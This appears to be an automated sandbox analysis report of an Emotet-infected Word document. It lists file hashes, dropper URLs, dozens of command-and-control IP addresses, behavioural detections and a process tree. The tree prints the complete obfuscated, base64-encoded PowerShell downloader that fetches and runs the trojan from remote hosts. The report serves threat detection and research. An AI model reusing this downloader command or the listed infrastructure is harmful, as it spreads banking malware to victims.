emotet | 6d84d53acd4a3905be6deb9ff50cfefa0681838bc7906ade311e113fb5d02bf1

Analysis

max time kernel
147s
max time network
150s
platform
windows10_x64
resource
win10
submitted
20/08/2020, 07:52

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General

Target
emotet_e3_6d84d53acd4a3905be6deb9ff50cfefa0681838bc7906ade311e113fb5d02bf1_2020-08-20__075136._doc.doc
Size 189KB
Sample200820-ajc8jrpqa2
SHA256 6d84d53acd4a3905be6deb9ff50cfefa0681838bc7906ade311e113fb5d02bf1
MD5 b6f4f62046f3e7534cfc559672be9319
SHA1 eb98eb097290ba5c0f1d2009106f71c01b095cf3
SHA512 66581bb072891a6d7fabb1f0a415d37bffbaa5fce4715f69b6066a3de1889ab20777645b14fdc2300013a3b8d06a95930c1a9086f4af77485847eef2e02deb80
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://gutjahr24.de/2015-11-09/arnf/
exe.dropper
http://zakahlife.com/wp-includes/w2jz15807/
exe.dropper
http://milde-seite.de/bigil/VNgmf9392/
exe.dropper
https://grasplms.com/wp-content/n5824604/
exe.dropper
http://britanniacricketleague.com/wp-admin/XgE3ss97089/
exe.dropper
http://benhlyphukhoa.info/wp-includes/4Ja2v10q187005/
exe.dropper
https://blog.angadiworldtech.com/css/I4pgkr7582964/

Extracted

Family

emotet

173.94.215.84:80
85.25.207.108:8080
178.128.14.92:8080
60.125.114.64:443
181.126.54.234:80
157.7.164.178:8081
95.216.205.155:8080
216.75.37.196:8080
179.62.238.49:80
71.57.180.213:80
172.96.190.154:8080
112.78.142.170:80
178.238.232.46:443
177.144.130.105:443
105.209.235.113:8080
46.105.131.68:8080
185.86.148.68:443
143.95.101.72:8080
75.127.14.170:8080
168.0.97.6:80
181.114.114.203:80
185.208.226.142:8080
201.235.10.215:80
177.32.8.85:80
37.46.129.215:8080
74.208.173.91:8080
190.212.140.6:80
202.5.47.71:80
41.185.29.128:8080
81.214.253.80:443
107.161.30.122:8080
46.32.229.152:8080
5.79.70.250:8080
115.79.195.246:80
113.161.148.81:80
179.5.118.12:80
178.33.167.120:8080
91.83.93.103:443
51.38.201.19:7080
185.142.236.163:443
118.70.15.19:8080
181.134.9.162:80
105.213.67.88:80
217.199.160.224:8080
192.210.217.94:8080
197.249.6.179:443
86.57.216.23:80
86.98.143.163:80
181.113.229.139:443
201.213.177.139:80
195.201.56.70:8080
172.105.78.244:8080
190.190.15.20:80
190.53.144.120:80
139.59.12.63:8080
87.106.231.60:8080
66.61.94.36:80
198.57.203.63:8080
177.37.81.212:443
192.241.220.183:8080
115.78.11.155:80
188.0.135.237:80
78.189.60.109:443
31.146.61.34:80
175.29.183.2:80
203.153.216.178:7080
181.137.229.1:80
188.251.213.180:443
177.94.227.143:80
192.163.221.191:8080
50.116.78.109:8080
197.221.158.162:80
139.99.157.213:8080
77.74.78.80:443
81.17.93.134:80
190.164.75.175:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2752	3840	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3876-15-0x0000000002400000-0x000000000240C000-memory.dmp	emotet
behavioral2/memory/3876-15-0x0000000002400000-0x000000000240C000-memory.dmp	emotet
behavioral2/memory/1444-18-0x00000000005F0000-0x00000000005FC000-memory.dmp	emotet
behavioral2/memory/1444-18-0x00000000005F0000-0x00000000005FC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
10	2752	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3876	Ijbtr_.exe
1444	DataExchange.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WSClient\DataExchange.exe	Ijbtr_.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1756	WINWORD.EXE
1756	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2752	powersheLL.exe
2752	powersheLL.exe
2752	powersheLL.exe
1444	DataExchange.exe
1444	DataExchange.exe
1444	DataExchange.exe
1444	DataExchange.exe
1444	DataExchange.exe
1444	DataExchange.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
3876	Ijbtr_.exe
3876	Ijbtr_.exe
1444	DataExchange.exe
1444	DataExchange.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2752 wrote to memory of 3876	2752	powersheLL.exe	73
PID 2752 wrote to memory of 3876	2752	powersheLL.exe	73
PID 2752 wrote to memory of 3876	2752	powersheLL.exe	73
PID 3876 wrote to memory of 1444	3876	Ijbtr_.exe	76
PID 3876 wrote to memory of 1444	3876	Ijbtr_.exe	76
PID 3876 wrote to memory of 1444	3876	Ijbtr_.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_6d84d53acd4a3905be6deb9ff50cfefa0681838bc7906ade311e113fb5d02bf1_2020-08-20__075136._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1756

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABXAG4AeQB3AHIAeQBhAD0AKAAnAEIAbwAnACsAJwBsADEANQBnACcAKwAnAGUAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAHYAOgBUAEUAbQBwAFwATwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBpAGAAVABZAHAAUgBPAHQAYABvAGMAYABPAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsACcAKwAnAHMAMQAnACsAJwAyACwAJwArACcAIAB0AGwAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQA7ACQARQA4AG0AMQAwAF8ANQAgAD0AIAAoACcASQBqACcAKwAnAGIAdAByAF8AJwApADsAJABHAHoAagBpAHgAbwB0AD0AKAAnAEMAOABmADQAJwArACcAMgAnACsAJwB0AHgAJwApADsAJABZADcAbQBnADEAZQA3AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBMACcAKwAnAG8AVQBPACcAKwAnAGYAZgBpAGMAJwArACcAZQAyADAAMQA5AEwAbwBVACcAKQAuACIAUgBlAHAATABgAEEAYwBFACIAKAAnAEwAbwBVACcALABbAHMAVABSAEkATgBHAF0AWwBjAGgAYQByAF0AOQAyACkAKQArACQARQA4AG0AMQAwAF8ANQArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQASAA3AG4AZQBsADQAZwA9ACgAJwBaADQAbAAnACsAJwBuAHoAOQBsACcAKQA7ACQARgB2AHcAXwBwADUAZwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAQgBDAEwASQBFAE4AVAA7ACQASgB1ADgAbwB1ADEAagA9ACgAJwBoAHQAJwArACcAdABwADoALwAnACsAJwAvAGcAJwArACcAdQAnACsAJwB0AGoAYQBoACcAKwAnAHIAMgA0AC4AZABlAC8AMgAwACcAKwAnADEANQAtADEAMQAtADAAOQAvACcAKwAnAGEAJwArACcAcgAnACsAJwBuACcAKwAnAGYAJwArACcALwAqACcAKwAnAGgAdAB0AHAAOgAnACsAJwAvAC8AegBhAGsAYQAnACsAJwBoACcAKwAnAGwAJwArACcAaQBmAGUALgBjAG8AbQAvACcAKwAnAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvACcAKwAnAHcAJwArACcAMgBqACcAKwAnAHoAMQA1ACcAKwAnADgAMAA3AC8AJwArACcAKgBoAHQAJwArACcAdABwADoAJwArACcALwAvAG0AJwArACcAaQBsACcAKwAnAGQAZQAtACcAKwAnAHMAJwArACcAZQBpACcAKwAnAHQAJwArACcAZQAnACsAJwAuAGQAZQAvACcAKwAnAGIAaQAnACsAJwBnAGkAbAAvAFYATgBnAG0AZgAnACsAJwA5ACcAKwAnADMAOQAnACsAJwAyAC8AJwArACcAKgBoAHQAdAAnACsAJwBwAHMAJwArACcAOgAvAC8AZwByAGEAJwArACcAcwBwACcAKwAnAGwAbQAnACsAJwBzAC4AYwBvAG0AJwArACcALwB3AHAAJwArACcALQBjAG8AbgB0AGUAbgB0AC8AbgA1ADgAMgA0ADYAMAAnACsAJwA0AC8AKgBoAHQAdABwADoALwAvAGIAJwArACcAcgBpAHQAYQBuAG4AJwArACcAaQBhAGMAJwArACcAcgAnACsAJwBpACcAKwAnAGMAawBlAHQAbABlAGEAZwB1AGUALgBjAG8AbQAvAHcAcAAtAGEAJwArACcAZABtAGkAbgAvAFgAZwBFACcAKwAnADMAcwAnACsAJwBzACcAKwAnADkAJwArACcANwAnACsAJwAwADgAOQAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwBiACcAKwAnAGUAbgBoAGwAJwArACcAeQBwACcAKwAnAGgAdQBrAGgAJwArACcAbwAnACsAJwBhAC4AaQBuAGYAbwAvAHcAcAAtAGkAJwArACcAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAnACsAJwAvACcAKwAnADQASgBhADIAdgAnACsAJwAxADAAJwArACcAcQAxADgANwAnACsAJwAwADAANQAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvACcAKwAnAGIAbABvAGcALgBhAG4AZwAnACsAJwBhAGQAaQB3AG8AcgAnACsAJwBsAGQAdABlAGMAaAAuACcAKwAnAGMAJwArACcAbwBtAC8AYwBzAHMALwAnACsAJwBJADQAJwArACcAcABnAGsAcgAnACsAJwA3ADUAOAAyADkAJwArACcANgA0AC8AJwApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAYQBwADkAaQBwAG8APQAoACcATgB1AGkANQAnACsAJwB5ACcAKwAnAG8AbwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDADIAbQB5AGQAZwBpACAAaQBuACAAJABKAHUAOABvAHUAMQBqACkAewB0AHIAeQB7ACQARgB2AHcAXwBwADUAZwAuACIARABvAHcAbgBMAE8AYABBAGAAZABGAEkAbABlACIAKAAkAEMAMgBtAHkAZABnAGkALAAgACQAWQA3AG0AZwAxAGUANwApADsAJABSAG8AMwB5AGUANwBhAD0AKAAnAE4AJwArACcAcQBqADUAYwBnAGYAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFkANwBtAGcAMQBlADcAKQAuACIATABFAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADIAOAA5ADYAKQAgAHsAJgAoACcASQBuAHYAbwAnACsAJwBrAGUALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQAWQA3AG0AZwAxAGUANwApADsAJABMADAAMQBkADEAeQA2AD0AKAAnAFQAJwArACcAdwAzACcAKwAnAHYAbQBmAHYAJwApADsAYgByAGUAYQBrADsAJABWAHoAbABnAHkAdQBfAD0AKAAnAFoAcAAzAGcAdQAnACsAJwB0AG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAGkAaABwAHkAbwAwAD0AKAAnAFgAJwArACcAZwBuAGoAagA2ACcAKwAnAGcAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2752
- C:\Users\Admin\AppData\Local\Temp\Office2019\Ijbtr_.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Ijbtr_.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3876
- - C:\Windows\SysWOW64\WSClient\DataExchange.exe
    "C:\Windows\SysWOW64\WSClient\DataExchange.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1444

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1444-18-0x00000000005F0000-0x00000000005FC000-memory.dmp

Download

memory/1756-8-0x000001E8A8F4E000-0x000001E8A8F55000-memory.dmp

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memory/1756-2-0x000001E8A8E04000-0x000001E8A8E09000-memory.dmp

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memory/1756-7-0x000001E8A8F55000-0x000001E8A8F61000-memory.dmp

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memory/1756-0-0x00007FFA40B00000-0x00007FFA411C6000-memory.dmp

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memory/1756-6-0x000001E8A8F55000-0x000001E8A8F61000-memory.dmp

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memory/1756-5-0x000001E8A8F55000-0x000001E8A8F61000-memory.dmp

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memory/1756-4-0x000001E8A67C0000-0x000001E8A67C5000-memory.dmp

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memory/1756-1-0x000001E8A8E09000-0x000001E8A8E0E000-memory.dmp

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memory/1756-3-0x000001E8A8E04000-0x000001E8A8E09000-memory.dmp

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memory/2752-9-0x00007FFA38970000-0x00007FFA3935C000-memory.dmp

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memory/2752-10-0x000001AF665C0000-0x000001AF665C1000-memory.dmp

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memory/2752-11-0x000001AF7EA60000-0x000001AF7EA61000-memory.dmp

Download

memory/3876-15-0x0000000002400000-0x000000000240C000-memory.dmp

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